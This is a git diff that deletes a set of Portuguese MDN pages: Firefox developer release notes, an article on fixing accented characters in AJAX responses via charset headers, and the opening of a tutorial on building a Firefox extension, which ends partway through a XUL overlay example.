-<h3 id="XPCOM">XPCOM</h3>
-
-<ul>
- <li><a href="/en/XPCOM_array_guide#nsCOMArray.3cT.3e" title="en/XPCOM array guide#nsCOMArray.3cT.3e"><code>nsCOMArray&lt;T&gt;</code></a> agora possui o método <a href="/en/XPCOM_array_guide#Deleting_objects" title="en/XPCOM array guide#Deleting objects"><code>RemoveObjectsAt()</code></a> para remoção de múltiplos objetos de uma só vez de uma ordenação.</li>
-</ul>
-
-<h3 id="Usando_o_DOM_do_chrome">Usando o DOM do chrome</h3>
-
-<dl>
- <dt><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></dt>
- <dd>Embora sempre tenha sido possível utilizar a API File do DOM do código chrome, o construtor <a href="/pt-PT/docs/Web/API/File" title="The documentation about this has not yet been written; please consider contributing!"><code>File</code></a> agora suporta a especificação de uma string de nome de caminho local quando usada através do chrome. Adicionalmente, você também pode especificar o arquivo para acessar usando a API File do DOM usando um objeto <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFile" title="">nsIFile</a></code>.</dd>
-</dl>
-
-<h3 id="Alterações_da_interface">Alterações da interface</h3>
-
-<ul>
- <li><code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsINavHistoryQueryOptions" title="">nsINavHistoryQueryOptions</a></code> agora suporta classificação por ordem de frequência, usando as novas constantes <code>SORT_BY_FRECENCY_ASCENDING</code> e <code>SORT_BY_FRECENCY_DESCENDING</code>.</li>
- <li><code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFilePicker" title="">nsIFilePicker</a></code> possui um novo atributo <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIFilePicker#addToRecentDocs">nsIFilePicker.addToRecentDocs</a></code>, o qual permite indicar que o arquivo selecionado deve ser adicionado à lista de "documentos recentes" do usuário, se houver alguma. Este atributo não tem efeito no modo de navegação privativa.</li>
-</ul>
-
-<h4 id="Novas_interfaces">Novas interfaces</h4>
-
-<ul>
- <li>Adicionada <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/mozIAsyncFavicons" title="">mozIAsyncFavicons</a></code>.</li>
- <li>Adicionada <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEventSource" title="">nsIEventSource</a></code>.</li>
- <li>Adicionada <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIGSettingsCollection" title="">nsIGSettingsCollection</a></code>.</li>
- <li>Adicionada <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIGSettingsService" title="">nsIGSettingsService</a></code>.</li>
- <li>Adicionada <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIHttpUpgradeListener" title="">nsIHttpUpgradeListener</a></code>.</li>
-</ul>
-
-<h4 id="Interfaces_removidas">Interfaces removidas</h4>
-
-<ul>
- <li>A interface <code>nsIDOMDocumentTraversal</code> foi removida. Foi um detalhe de implementação que expirou sua utilidade.</li>
- <li>A interface <code>nsIDOMDocumentRange</code> foi removida. Foi um detalhe de implementação que expirou sua utilidade.</li>
- <li>A interface <code>IWeaveCrypto</code> foi removida. Foi um detalhe de implementação que expirou sua utilidade.</li>
- <li>A interface <code>nsIDOM3DocumentEvent</code> foi removida. Foi um detalhe de implementação que expirou sua utilidade.</li>
- <li>A interface <code>nsIDOMAbstractView</code> foi removida. Foi um detalhe de implementação que expirou sua utilidade.</li>
- <li>A interface <code>nsILiveTitleNotificationSubject</code> foi removida. Foi um detalhe de implementação que expirou sua utilidade.</li>
-</ul>
-
-<h3 id="Veja_também">Veja também</h3>
-
-<ul>
- <li><a href="/pt/Firefox_5_para_desenvolvedores" title="pt/Firefox 5 para desenvolvedores">Firefox 5 para desenvolvedores</a></li>
- <li><a href="/pt/Firefox_4_para_desenvolvedores" title="pt/Firefox 4 para desenvolvedores">Firefox 4 para desenvolvedores</a></li>
- <li><a href="/pt/Firefox_3.6_para_desenvolvedores" title="pt/Firefox 3.6 para desenvolvedores">Firefox 3.6 para desenvolvedores</a></li>
- <li><a class="internal" href="/Pt/Firefox_3.5_para_desenvolvedores" title="pt/Firefox 3.5 para desenvolvedores">Firefox 3.5 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_3_para_desenvolvedores" title="pt/Firefox 3 para desenvolvedores">Firefox 3 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox 2 para desenvolvedores">Firefox 2 para desenvolvedores</a></li>
- <li><a class="internal" href="/pt/Firefox_1.5_para_Desenvolvedores" title="pt/Firefox 1.5 para desenvolvedores">Firefox 1.5 para desenvolvedores</a></li>
-</ul>
-
-<h3 id="Outras_alterações_3">Outras alterações</h3>
-
-<dl>
- <dt><a href="/en/Mozilla/Preferences/Using_preferences_from_application_code" title="en/Preferences/Using preferences from application code">Using preferences from application code</a></dt>
- <dd>A new static API is available for easily accessing preferences; this is only available to application code and can't be used by add-ons.</dd>
-</dl>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<div><div class="multiColumnList">
-<ul>
-<li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/5">Firefox 5 for developers</a></li><li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/4">Firefox 4 for developers</a></li><li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/3.6">Firefox 3.6 for developers</a></li><li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/3.5">Firefox 3.5 for developers</a></li><li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/3">Firefox 3 for developers</a></li><li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/2">Firefox 2 for developers</a></li><li><a href="/pt-PT/docs/Mozilla/Firefox/Releases/1.5">Firefox 1.5 for developers</a></li></ul>
-</div></div>
diff --git a/files/pt-pt/mozilla/firefox/releases/70/index.html b/files/pt-pt/mozilla/firefox/releases/70/index.html
deleted file mode 100644
index 7b67fba949..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/70/index.html
+++ /dev/null
@@ -1,140 +0,0 @@
----
-title: Firefox 70 para programadores
-slug: Mozilla/Firefox/Releases/70
-tags:
- - '70'
- - Firefox
- - Lançamento
- - Mozilla
-translation_of: Mozilla/Firefox/Releases/70
----
-<p>{{FirefoxSidebar}}{{Draft}}</p>
-
-<p class="summary">Este artigo fornece informaçaõ acerca das alterações no Firefox 70 que irão afetar od programadores. O Firefox 70 é a <a href="https://www.mozilla.org/en-US/firefox/channel/desktop/#beta">versão Beta atual do Firefox</a>, e irá ser distribuida no dia <a href="https://wiki.mozilla.org/RapidRelease/Calendar#Future_branch_dates" rel="noopener">22 de outubro de 2019</a>.</p>
-
-<h2 id="Alterações_para_os_programadores_da_Web">Alterações para os programadores da Web</h2>
-
-<h3 id="Ferramentas_do_programador">Ferramentas do programador</h3>
-
-<ul>
- <li>An icon will be displayed next to invalid or unsupported <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Examine_CSS_rules">CSS rules</a> in the Rules pane of the Page Inspector ({{bug(1306054)}}).</li>
-</ul>
-
-<h4 id="Removals">Removals</h4>
-
-<h3 id="HTML">HTML</h3>
-
-<p><em>No changes.</em></p>
-
-<h4 id="Removals_2"> Removals</h4>
-
-<h3 id="CSS">CSS</h3>
-
-<ul>
- <li>Opacity values like for {{cssxref("opacity")}} or {{SVGAttr("stop-opacity")}} can now be percentages ({{Bug(1562086)}}).</li>
- <li>{{cssxref("grid-auto-columns")}} and {{cssxref("grid-auto-rows")}} now accept multiple track-size values ({{Bug(1339672)}}).</li>
- <li>A number of text-related CSS properties have been enabled by default ({{bug(1573631)}}):
- <ul>
- <li>{{cssxref("text-decoration-thickness")}}.</li>
- <li>{{cssxref("text-underline-offset")}}.</li>
- <li>{{cssxref("text-decoration-skip-ink")}}. The default value is <code>auto</code>, which means that by default underlines and overlines are now interrupted where they would otherwise cross over a {{Glossary("glyph")}}.</li>
- </ul>
- </li>
- <li>The {{cssxref("display")}} property now accepts two keywords for the inner and the outer display type ({{Bug(1038294)}}, {{Bug(1105868)}} and {{Bug(1557825)}}).</li>
- <li>The {{cssxref("font-size")}} property now accepts the new keyword <code>xxx-large</code>. ({{Bug(1553545)}}).</li>
- <li>The {{cssxref(":visited")}} pseudo-class no longer matches {{htmlelement("link")}} elements, for logic and performance reasons ({{bug(1572246)}}; see <span class="F0XO1GC-mb-Z" id="t-t"><a href="https://groups.google.com/forum/#!msg/mozilla.dev.platform/1NP6oJzK6zg/ftAz_TajAAAJ">Intent to ship: Make &lt;link&gt; elements always unvisited</a> and </span><a href="https://github.com/w3c/csswg-drafts/issues/3817">[selectors] :link and &lt;link&gt;</a> for more reasoning as to why).</li>
- <li>We now support an <code>auto</code> value for the {{cssxref("quotes")}} property ({{bug(1421938)}}).</li>
- <li>Stylesheets contained in {{htmlelement("style")}} elements are now cached for reuse, to improve performance ({{bug(1480146)}}). Note that this currently doesn't include stylesheets that contain <code>@import</code> rules.</li>
- <li>The <code>&lt;ratio&gt;</code> type now accepts <code>&lt;number&gt;</code> / <code>&lt;number&gt;</code> or a single <code>&lt;number&gt;</code> as a value. ({{bug(1565562)}}).</li>
-</ul>
-
-<h4 id="Removals_3">Removals</h4>
-
-<ul>
- <li>Retiring support for 3-valued &lt;position&gt; (excluding background)({{Bug(1559276)}}). <a href="https://www.fxsitecompat.dev/en-CA/docs/2019/3-valued-css-position-is-no-longer-supported-except-for-background-position/">See site compat note</a>.</li>
- <li><code>none</code> is now invalid in {{cssxref("counter")}} / {{cssxref("counters")}} — a change which makes the Level 3 spec match CSS 2.1 {{Bug(1576821)}}).</li>
-</ul>
-
-<h3 id="SVG">SVG</h3>
-
-<p><em>No changes.</em></p>
-
-<h4 id="Removals_4">Removals</h4>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<ul>
- <li>Add support for numeric separators. {{Bug(1435818)}}.</li>
-</ul>
-
-<h4 id="Removals_5">Removals</h4>
-
-<h3 id="APIs">APIs</h3>
-
-<ul>
- <li>The {{domxref("History.back","back()")}}, {{domxref("History.forward","forward()")}}, and {{domxref("History.go","go()")}} methods are now asynchronous. Add a listener to the <code>{{domxref("Document/defaultView/popstate_event", "popstate")}}</code> event to get notification that navigation has completed {{Bug(1563587)}}.</li>
-</ul>
-
-<h4 id="Novas_APIs">Novas APIs</h4>
-
-<h4 id="DOM">DOM</h4>
-
-<ul>
- <li>Add {{DOMxRef("DOMMatrix")}}, {{DOMxRef("DOMPoint")}}, etc. support in web workers ({{bug(1420580)}}).</li>
-</ul>
-
-<h4 id="Eventos_DOM">Eventos DOM</h4>
-
-<h4 id="Service_workers">Service workers</h4>
-
-<h4 id="Media_Web_Audio_and_WebRTC">Media, Web Audio, and WebRTC</h4>
-
-<h4 id="Canvas_and_WebGL">Canvas and WebGL</h4>
-
-<ul>
- <li>We now support {{domxref("CanvasRenderingContext2D.getTransform()")}}, and the newer variant of {{domxref("CanvasRenderingContext2D.setTransform()")}} that accepts a matrix object as a parameter rather than multiple parameters representing the individual components of the matrix ({{bug(928150)}}).</li>
-</ul>
-
-<h4 id="Removals_6">Removals</h4>
-
-<h3 id="Segurança">Segurança</h3>
-
-<p><em>No changes.</em></p>
-
-<h4 id="Removals_7">Removals</h4>
-
-<h3 id="Plug-ins">Plug-ins</h3>
-
-<p><em>No changes.</em></p>
-
-<h4 id="Removals_8">Removals</h4>
-
-<h3 id="Outros">Outros</h3>
-
-<p><em>No changes.</em></p>
-
-<h4 id="Removals_9">Removals</h4>
-
-<h2 id="Alterações_para_os_programadores_de_extras_add-on">Alterações para os programadores de extras (add-on)</h2>
-
-<h3 id="Alterações_de_API">Alterações de API</h3>
-
-<p><em>Sem alterações.</em></p>
-
-<h4 id="Removals_10">Removals</h4>
-
-<h3 id="Alfetarções_de_Manifest">Alfetarções de Manifest</h3>
-
-<p><em>Sem alterações.</em></p>
-
-<h4 id="Removals_11">Removals</h4>
-
-<h2 id="Consultar_também">Consultar também:</h2>
-
-<ul>
- <li><a href="https://www.fxsitecompat.com/en-CA/versions/70/">SCompatibilidade de Site para o Firefox 70</a></li>
-</ul>
-
-<h2 id="Versões_antigas">Versões antigas</h2>
-
-<p>{{Firefox_for_developers(69)}}</p>
diff --git a/files/pt-pt/mozilla/firefox/releases/index.html b/files/pt-pt/mozilla/firefox/releases/index.html
deleted file mode 100644
index 68bc5d41e9..0000000000
--- a/files/pt-pt/mozilla/firefox/releases/index.html
+++ /dev/null
@@ -1,25 +0,0 @@
----
-title: Firefox - Notas de lançamento do programador
-slug: Mozilla/Firefox/Releases
-tags:
- - Firefox
- - Landing
- - Lançamento
- - Mozilla
-translation_of: Mozilla/Firefox/Releases
----
-<div>{{FirefoxSidebar}}</div>
-
-<p>Esta página fornece hiperligações para os artigos de "Firefox X para programadores" para cada lançamento do Firefox. Estas notas deixam-no ver quais as funcionalidades que foram adicionadas e os erros eliminados em cada versão do Firefox. Tudo escrito para dar aos programadores como você a informação de que eles mais precisam. Seja bem-vindo.</p>
-
-<div class="multiColumnList">{{ListSubpages("",1,1,1)}}</div>
-
-<div class="multiColumnList"> </div>
-
-<p>Ufa! Isso é muito de Firefoxen!</p>
-
-<h2 id="Consultar_também">Consultar também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Mozilla/Thunderbird/Lancamentos">Thunderbird - Notas de lançamento do programador</a></li>
-</ul>
diff --git a/files/pt-pt/mozilla/index.html b/files/pt-pt/mozilla/index.html
deleted file mode 100644
index 347e26f48e..0000000000
--- a/files/pt-pt/mozilla/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: Mozilla
-slug: Mozilla
-tags:
- - Aplicações
- - Apps
- - Avançado
- - Extras
- - Mozilla
-translation_of: Mozilla
----
-<div class="boxed translate-rendered">
-<p>Os artigos abaixo, incluem conteúdo sobre transferência e criação de código da Mozilla. Além disso, irá encontrar artigos úteis sobre como o código funciona, como criar extras para as aplicações da Mozilla, etc.</p>
-
-<p>{{LandingPageListSubpages}}</p>
-</div>
diff --git a/files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html b/files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html
deleted file mode 100644
index 137256735c..0000000000
--- a/files/pt-pt/orphaned/acentuação_para_conteúdos_carregados_por_ajax/index.html
+++ /dev/null
@@ -1,61 +0,0 @@
----
-title: Acentuação para conteúdos carregados por AJAX
-slug: orphaned/Acentuação_para_conteúdos_carregados_por_AJAX
-tags:
- - AJAX
- - AJAX:Artigos
- - Artigos
- - Todas_as_Categorias
-original_slug: Acentuação_para_conteúdos_carregados_por_AJAX
----
-<h3 id="Explica.C3.A7.C3.B5es_Iniciais" name="Explica.C3.A7.C3.B5es_Iniciais">Explicações Iniciais</h3>
-<p><em>Este artigo trata dos problemas de acentuação na <b>recuperação de um conteúdo via AJAX</b> e NÃO do envio via métodos GET ou POST. Para o tratamento de problemas no ENVIO, veja <a class="external" href="http://www.juliogreff.blog.br/utilizando-o-metodo-post/">esta solução (no sub-capítulo "Recebendo os dados (no PHP)"</a>.</em>
-</p><p>O XMLHttpRequest, o motor por trás do AJAX, trabalha no padrão UTF-8 por default, tanto para enviar dados quanto pra receber. Isso vem do próprio browser. Nos primórdios da internet, o <a class="external" href="http://en.wikipedia.org/wiki/Tim_Berners-Lee">Tim Berners-Lee</a> ainda não estava tão preocupado com a internacionalização do HTML. Este esforço só começou a acontecer em novembro de 1995, depois da formação da <a class="external" href="http://www.w3c.org">W3C</a>, onde visavam extender as capacidades do HTML 2.
-</p><p>Atualmente, os navegadores que implementam Ajax também costumam apresentar vários problemas com nossos caracteres em português, ou outras línguas que possuam acentuação.
-</p><p>Para resolver este problema, o melhor método seria o uso de <a class="external" href="http://www.w3schools.com/tags/ref_entities.asp">HTML Entities</a>, porém nem sempre é possível.
-De forma a contornar isto, vemos pela internet muitas complicações usando funções <a href="pt/JavaScript"> JavaScript</a> e funções como encode, escape, etc nos scripts do lado do servidor (ASP, PHP, JSP, etc). Uma complicação só!!!
-</p><p>A forma recomendada, além do HTML entities, para corrigir o problema da acentuação no Ajax é através da <b>definição correta do <a class="external" href="http://www.w3.org/International/O-charset.pt-br.html">charset</a></b>.
-</p><p>Para renderizar nosso português você pode usar o charset ISO-8859-1. Tente padronizar o ISO-8859-1 em todas as partes ligadas ao seu sistema: charset do banco de dados (caso haja algum envolvido), meta charset da página HTML, e o mais importante:
-</p><p><b>Você deve enviar cabeçalhos do servidor para o navegador, informando que você usará ISO-8859-1.</b>
-</p><p>Como fazer isto?
-</p>
-<ul><li><b>configurar seu servidor pra servir ISO-8859-1 por padrão</b>, se você tiver acesso a isto (adicionando uma linha no arquivo httpd.conf para servidores Apache) OU
-</li><li><b>indicar o charset correto no início do seu script server side</b>, com apenas 1 (uma) linha de código passadas abaixo.
-</li></ul>
-<h3 id="O_c.C3.B3digo" name="O_c.C3.B3digo">O código</h3>
-<ul><li>Em ColdFusion:
-</li></ul>
-<pre class="eval">&lt;cfcontent type="text/html; charset=ISO-8859-1"&gt;
-</pre>
-<ul><li>Em ASP:
-</li></ul>
-<pre class="eval">&lt;% Response.Charset="ISO-8859-1" %&gt;
-</pre>
-<ul><li>Em PHP:
-</li></ul>
-<pre class="eval">&lt;?php header("Content-Type: text/html; charset=ISO-8859-1",true); ?&gt;
-</pre>
-<ul><li>Em JSP:
-</li></ul>
-<pre class="eval">&lt;%@ page contentType="text/html; charset=ISO-8859-1" %&gt;
-</pre>
-<ul><li>(Se voce conhece como alterar para outras linguagens server-side, edite este artigo e conte-nos :) )
-</li></ul>
-<p>Lembrando que os códigos devem ser colocados no início de seu script (pra quem tem pouca experiência com a linguagem server side).
-Testado com sucesso no IE6 e FF1.5.
-</p><p>Você também pode tentar <b>usar só a tag META em arquivos HTML simples</b>, mas não é confiável. </p>
-<pre class="eval">&lt;META http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;
-</pre>
-<p>Caso você saiba a forma correta de editar a tag META para que os caracteres do português funcionem corretemente, edite este post e informe-nos.
-</p>
-<h3 id="Observa.C3.A7.C3.B5es_finais:" name="Observa.C3.A7.C3.B5es_finais:">Observações finais:</h3>
-<p>Gostaria de lembrar que esta solução funciona apenas para a <b>recuperação</b> da página no servidor e <b>não para o envio de dados</b> via AJAX! Uma ótima solução encontrada na internet para o envio dos dados pode ser encontrada em <a class="external" href="http://www.juliogreff.blog.br/utilizando-o-metodo-post/"> ou </a><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182">.
-</a></p><p><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182">Há também outra possível causa para problemas de caracteres: o seu banco de dados. Alguns BD's, guardam seus dados apenas em UTF-8, e aí ocorre a perda de caracteres. Verifique isso também caso os códigos acima não tenham dado certo.
-</a></p><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182">
-</a><div class="originaldocinfo"><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182">
-<h3 id="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original" name="Informa.C3.A7.C3.B5es_Sobre_o_Documento_Original"> Informações Sobre o Documento Original </h3>
-</a><ul><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182"></a><li><a class="external" href="http://phpbrasil.com/articles/article.php/id/1182"> Documento original: </a><a class="external" href="http://elmicox.blogspot.com/2006/06/ajax-acentuao-soluo-final-1-linha-de.html">Ajax - Acentuação, a solução final - 1 linha de código</a>
-</li><li> Autor: <a>Micox</a>
-</li><li> Informações sobre Copyright: Livre
-</li></ul>
-</div>
diff --git a/files/pt-pt/orphaned/componentes/index.html b/files/pt-pt/orphaned/componentes/index.html
deleted file mode 100644
index c6ca4afa20..0000000000
--- a/files/pt-pt/orphaned/componentes/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Componentes
-slug: orphaned/Componentes
-tags:
- - Componentes
- - NecessitaDeConteúdo
- - Referência_da_API_do_XPCOM
- - Todas_as_Categorias
- - XPCOM
-original_slug: Componentes
----
-<p><br>
- Necessitamos duma lista detalhada de Componentes aqui, do género da lista de <a href="pt/Interfaces">Interfaces</a>.</p>
-
-<h3 id="Componentes.2C_Listagem_Alfab.C3.A9tica_.28incompleto.29" name="Componentes.2C_Listagem_Alfab.C3.A9tica_.28incompleto.29">Componentes, Listagem Alfabética (incompleto)</h3>
-
-<ul>
- <li><a href="pt/NsDirectoryService">nsDirectoryService</a></li>
- <li><a href="pt/NsObserverService">nsObserverService</a></li>
- <li><a href="pt/NsScriptableInputStream">nsScriptableInputStream</a></li>
-</ul>
diff --git a/files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html b/files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html
deleted file mode 100644
index b25138405c..0000000000
--- a/files/pt-pt/orphaned/configurando_um_servidor_de_atualização/index.html
+++ /dev/null
@@ -1,6 +0,0 @@
----
-title: Configurando um servidor de atualização
-slug: orphaned/Configurando_um_servidor_de_atualização
-original_slug: Configurando_um_servidor_de_atualização
----
-<p>O objetivo deste documento é fornecer instruções básicas sobre a configuração de seu próprio servidor de atualização.</p>
diff --git a/files/pt-pt/orphaned/construir_uma_extensão/index.html b/files/pt-pt/orphaned/construir_uma_extensão/index.html
deleted file mode 100644
index 1123eb2bbd..0000000000
--- a/files/pt-pt/orphaned/construir_uma_extensão/index.html
+++ /dev/null
@@ -1,228 +0,0 @@
----
-title: Construir uma Extensão
-slug: orphaned/Construir_uma_Extensão
-tags:
- - Extensões
-original_slug: Construir_uma_Extensão
----
-<h4 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h4>
-<p>Este tutorial lhe dará uma visão bem básica dos passos para construir uma <a href="/pt/Extensões" title="pt/Extensões">extensão</a> - que adiciona um item na barra de status do Firefox contendo o texto "Hello, World!"</p>
-<div class="note">
- <p><strong>Nota</strong> Este tutorial é voltado para o desenvolvimento de extensões para Firefox 1.5 ou 2.0. Existem outros tutoriais para o desenvolvimento extensões para versões mais antigas do Firefox.</p>
-</div>
-<h4 id="Ajustando_o_Ambiente_de_Desenvolvimento" name="Ajustando_o_Ambiente_de_Desenvolvimento">Ajustando o Ambiente de Desenvolvimento</h4>
-<p>As extensões são empacotadas e distribuídas em arquivos ZIP, ou <a href="/en/Bundles" title="en/Bundles">Bundles</a>, arquivos com a extensão <code>xpi</code> (<em>pronunciado “zippy”</em>). A disposição do conteúdo dentro do arquivo XPI é assim:</p>
-<pre class="eval">extension.xpi:
- /<a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a>
- <a href="#XPCOM_Components">/components/*</a>
- <a href="#Application_Command_Line">/components/cmdline.js</a>
- <a href="#Defaults_Files">/defaults/</a>
- <a href="#Defaults_Files">/defaults/preferences/*.js</a>
- /plugins/*
- /chrome/
- /<a href="/pt/chrome.manifest" title="pt/chrome.manifest">chrome.manifest</a>
- /<a href="/pt/Chrome_window_icons" title="pt/Chrome_window_icons">chrome/icons/default/*</a>
- /chrome/content/
-
-</pre>
-<p>Por isso, é mais fácil dispor seus arquivos de código de uma forma similar, a menos que você queira escrever algum tipo de <a class="external" href="http://pt.wikipedia.org/wiki/Make">Makefile</a> ou <a class="external" href="http://pt.wikipedia.org/wiki/Shell_script">shell script</a> para empacotar e fechar todos os seus arquivos. Mesmo que esteja preparado para fazer isso, testar é muito mais simples se você dispuser seus arquivos desta maneira, devido a uma característica do Sistema de Add-on proporcionado a partir do Firefox 1.5.</p>
-<p>Assim, vamos começar. Crie uma pasta para sua extensão em algum lugar do disco rígido, por exemplo <code>C:\extensions\myExtension\</code> ou <code>~/extensions/myExtension/</code>. Dentro desta pasta crie outra pasta chamada <code>chrome</code>, e dentro da pasta <code>chrome</code> crie outra pasta chamada <code>content</code>. (Em sistemas como o Unix você pode normalmente criar todos os três diretórios somente rodando <code>mkdir -p chrome/content</code> dentro do diretório root (raiz) da extensão.)</p>
-<p>Dentro da raiz da sua pasta da extensão, ao lado da pasta <code>chrome</code>, crie dois novos arquivos de texto vazios, um chamado <code>chrome.manifest</code> e outro chamado <code>install.rdf</code>.</p>
-<p>Mais ajuda no desenvolvimento de extensões pode ser encontrada na página <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">Mozillazine Knowledge Base</a>.</p>
-<h4 id="Criando_o_manifesto_de_instala.C3.A7.C3.A3o" name="Criando_o_manifesto_de_instala.C3.A7.C3.A3o">Criando o manifesto de instalação</h4>
-<p>Abra o arquivo chamado <code><a href="/pt/install.rdf" title="pt/install.rdf">install.rdf</a></code> que você criou no topo da pasta da sua extensão e coloque isto nele:</p>
-<pre class="eval">&lt;?xml version="1.0"?&gt;
-
-&lt;RDF xmlns="<span class="nowiki">http://www.w3.org/1999/02/22-rdf-syntax-ns#</span>"
- xmlns:em="<span class="nowiki">http://www.mozilla.org/2004/em-rdf#</span>"&gt;
-
- &lt;Description about="urn:mozilla:install-manifest"&gt;
- &lt;em:id&gt;<strong><a class="link-mailto" href="mailto:sample@example.net" rel="freelink">sample@example.net</a></strong>&lt;/em:id&gt;
- &lt;em:version&gt;<strong>1.0</strong>&lt;/em:version&gt;
- &lt;em:type&gt;2&lt;/em:type&gt;
-
- &lt;!-- Target Application this extension can install into,
- with minimum and maximum supported versions. --&gt;
- &lt;em:targetApplication&gt;
- &lt;Description&gt;
- &lt;em:id&gt;<strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong>&lt;/em:id&gt;
- &lt;em:minVersion&gt;<strong>1.5</strong>&lt;/em:minVersion&gt;
- &lt;em:maxVersion&gt;<strong>2.0.0.*</strong>&lt;/em:maxVersion&gt;
- &lt;/Description&gt;
- &lt;/em:targetApplication&gt;
-
- &lt;!-- Front End MetaData --&gt;
- &lt;em:name&gt;<strong>Amostra!</strong>&lt;/em:name&gt;
- &lt;em:description&gt;<strong>Uma extensão de teste</strong>&lt;/em:description&gt;
- &lt;em:creator&gt;<strong>Seu Nome Aqui</strong>&lt;/em:creator&gt;
- &lt;em:homepageURL&gt;<strong><span class="nowiki">http://www.foo.com/</span></strong>&lt;/em:homepageURL&gt;
- &lt;/Description&gt;
-&lt;/RDF&gt;
-</pre>
-<ul>
- <li><strong><a class="link-mailto" href="mailto:sample@example.net" rel="freelink">sample@example.net</a></strong> - o ID da extensão. Este é um valor que você usa para identificar sua extensão em formato de endereço de e-mail (note que isto não precisa ser o <em>seu</em> e-mail). Faça isto único. Você pode também usar um GUID. NOTA: Este parametro PRECISA estar no formato de um endereço de e-mail, no entanto NÃO precisa ser um e-mail válido.</li>
- <li>Especifique <code>&lt;em:type&gt;2&lt;/em:type&gt;</code> -- o 2 declara que isto instala uma extensão. Se você for instalar um tema o número será 4 (veja <a href="/en/Install_Manifests#type" title="en/Install_Manifests#type">Install Manifests#type</a> para outros tipos de código).</li>
- <li><strong>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</strong> - ID de aplicação Firefox.</li>
- <li><strong>1.5</strong> - a versão mínima do Firefox que você está dizendo que esta extensão poderá trabalhar. Coloque isto como a versão mínima, você cometerá e testará bugs (problemas) com isso.</li>
- <li><strong>2.0.0.*</strong> - a versão máxima do Firefox que você está dizendo que esta extensão poderá trabalhar. Coloque isto com a versão mais nova disponível atualmente! Neste caso, "2.0.0.*" indica que a extensão trabalha com versões do Firefox 2.0.0.0 até 2.0.0.x.</li>
-</ul>
-<p>Extensões desenhadas para trabalhar com o Firefox 1.5.0.x devem ser colocadas no máximo com a versão "1.5.0.*".</p>
-<p>Veja <a href="/en/Install_Manifests" title="en/Install_Manifests">Install Manifests</a> para uma lista completa das propriedades requeridas e opcionais.</p>
-<p>Salve o arquivo.</p>
-<h4 id="Extendendo_o_navegador_com_XUL" name="Extendendo_o_navegador_com_XUL">Estendendo o navegador com XUL</h4>
-<p>A interface do usuário do Firefox é escrita em XUL e JavaScript. <a href="/pt/XUL" title="pt/XUL">XUL</a> é uma gramática XML que proporciona widgets como botões, menus, barras de ferramentas, árvores, etc. As ações do usuário são limitadas à funcionalidade usando JavaScript.</p>
-<p>Para extender o navegador, nós modificamos partes da UI do navegador adicionando ou modificando widgets. Nós adicionamos widgets inserindo novos elementos DOM XUL na janela do navegador, e os modificamos utilizando scripts e anexando manipuladores de evento.</p>
-<p>O navegador é implementado por um arquivo XUL chamado <code>browser.xul</code> (<code>$FIREFOX_INSTALL_DIR/chrome/browser.jar</code> que contém <code>content/browser/browser.xul</code>). Em browser.xul nós podemos encontrar a barra de status, semelhante a isso:</p>
-<pre class="eval">&lt;statusbar id="status-bar"&gt;
- ... &lt;statusbarpanel&gt;s ...
-&lt;/statusbar&gt;
-</pre>
-<p><code>&lt;statusbar id="status-bar"&gt;</code> é o "ponto de fusão" para a sobreposição XUL (XUL Overlay).</p>
-<h5 id="Sobreposi.C3.A7.C3.A3o_.28overlay.29_XUL" name="Sobreposi.C3.A7.C3.A3o_.28overlay.29_XUL">Sobreposição (overlay) XUL</h5>
-<p><a href="/en/XUL_Overlays" title="en/XUL_Overlays">XUL Overlays</a> é um modo de anexar outras widgets da UI a um documento XUL durante a execução. Um Overlay XUL é um arquivo .xul que especifica fragmentos de XUL para inserir em pontos específicos de junção dentro de um documento "master". Estes fragmentos podem especificar widgets para serem inseridas, removidas ou modificadas.</p>
-<p><strong>Exemplo de Documento de Sobreposição XUL</strong></p>
-<pre class="eval">&lt;?xml version="1.0"?&gt;
-&lt;overlay id="sample"
- xmlns="<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>"&gt;
